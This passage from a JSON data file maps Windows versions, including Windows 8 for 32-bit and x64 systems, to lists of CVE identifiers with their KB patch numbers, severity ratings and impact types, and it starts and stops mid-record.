Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2509\",\"kb\":\"3087918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6127\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6130\",\"kb\":\"3108670\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6131\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126587\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3192391\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197867\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197867\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012212\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0045\",\"kb\":\"4012212\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4015549\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019264\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019264\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041681\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054518\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022719\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025341\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038777\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8685\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8710\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056894\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056894\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093118\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-1038\",\"kb\":\"4100480\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8120\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103718\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457144\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457144\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467107\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467107\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480970\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0708\",\"kb\":\"4499164\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0808\",\"kb\":\"4489878\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530734\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534310\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537820\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540688\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550964\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556836\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556836\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571729\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571729\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003233\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003233\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003667\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005633\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006743\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014748\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows 8 for 32-bit Systems\":[{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901127\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1674\",\"kb\":\"3050514\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2509\",\"kb\":\"3087918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3082089\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3082089\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6127\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6131\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3121461\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3121461\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows 8 for x64-based Systems\":[{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901127\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1674\",\"kb\":\"3050514\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2509\",\"kb\":\"3087918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3082089\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3082089\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6127\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code 